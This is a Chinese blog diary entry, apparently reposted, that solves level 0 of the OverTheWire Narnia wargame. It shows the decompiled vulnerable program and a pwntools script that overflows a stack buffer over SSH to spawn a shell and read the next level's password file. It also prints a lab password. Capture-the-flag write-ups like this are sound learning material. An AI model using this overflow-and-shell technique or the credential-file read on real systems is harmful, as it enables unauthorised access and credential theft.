170823 WarGames-Narnia(0)
来源:互联网 发布:ubuntu 查看目录权限 编辑:程序博客网 时间:2024/06/06 01:47
1625-5 王子昂 总结《2017年8月23日》 【连续第324天总结】
A. Narnia
B.
Level 0
文件在/narnia/中,运行narnia0,提示要将value从0x41414141变为0xdeadbeef
拖下来IDA反编译可知
int __cdecl main(int argc, const char **argv, const char **envp){ int buff; // [sp+18h] [bp-18h]@1 signed int value; // [sp+2Ch] [bp-4h]@1 value = 0x41414141; puts("Correct val's value from 0x41414141 -> 0xdeadbeef!"); printf("Here is your chance: "); __isoc99_scanf("%24s", &buff); printf("buf: %s\n", &buff); printf("val: 0x%08x\n", value); if ( value != 0xDEADBEEF ) { puts("WAY OFF!!!!"); exit(1); } system("/bin/sh"); return 0;}
很明显,通过buff的溢出来修改value的值
观察可知buff在sp+18h处,value在sp+2C处
因此构造输入’a’ * (0x2C-0x18) + ‘\xef\xbe\xad\xde’即可
顺便学习了pwntools的使用,它需要linux的环境,因此开了kali虚拟机
OverTheWire都是以SSH方式连接的,因此与直接使用remote不同
conn建立SSH连接后,用run方法开启bash,之后就正常使用了
interactive方法可以将shell交还本地,进行其他动作
不过直接发送cat语句可以更快速地看到结果
pw:
efeidiedae
注释部分为down文件和本地测试的过程
脚本:
#!/usr/bin/pythonfrom pwn import *# context(arch = 'i386', os = 'linux')# r = remote('narnia.labs.overthewire.org', 2226)conn = ssh('narnia0', 'narnia.labs.overthewire.org', 2226, password='narnia0')# conn.download_file('/narnia/narnia0')# sh = process('narnia0')sh = conn.run('sh')sh.sendline('/narnia/narnia0')sh.sendline('a' * (0x2c - 0x18) + chr(0xef) + chr(0xbe) + chr(0xad) + chr(0xde))# sh.interactive()print(sh.recvrepeat(timeout=5))sh.sendline('cat /etc/narnia_pass/narnia1')print(sh.recvrepeat(timeout=5))
C. 明日计划
逆向/NarniaPwn
阅读全文
0 0
- 170823 WarGames-Narnia(0)
- 170828 WarGames-Narnia(3)
- 170829 WarGames-Narnia(4)
- 170830 WarGames-Narnia(5)
- 170831 WarGames-Narnia(6)
- 170901 WarGames-Narnia(7)
- 170902 WarGames-Narnia(8)
- 170825 WarGames-Narnia(1-2)
- WarGames-leviathan(0-7)
- 170903 WarGames-Behemoth(0)
- 170815 WarGames-Krypton(0-6)
- 170816 WarGames-Natas(0-14)
- 170909 WarGames-Utumno(0-1)
- Wargames-Vortex Level 0
- WarGames-Natas(16)
- 170811 WarGames-Bandit(0-10)
- 170817 WarGames-Natas(15)
- 170821 WarGames-Natas(26)
- USER_PRESENT 静态注册广播收不到
- meta(刷新功能)
- EasyUI 使用图标不显示问题
- 重装系统后,初始化小记。
- plsql导出Oracle数据库的步骤示意图
- 170823 WarGames-Narnia(0)
- 查看所有日志的方法--非控制台
- MySQL是如何利用索引的
- 测试app,需要注意,在所有的页面关闭屏幕再打开会不会出现异常
- elasticsearch命令大全
- Dom解析XML文件(2017/8/23)
- JavaSE入门之路汇总
- C
- 反射基础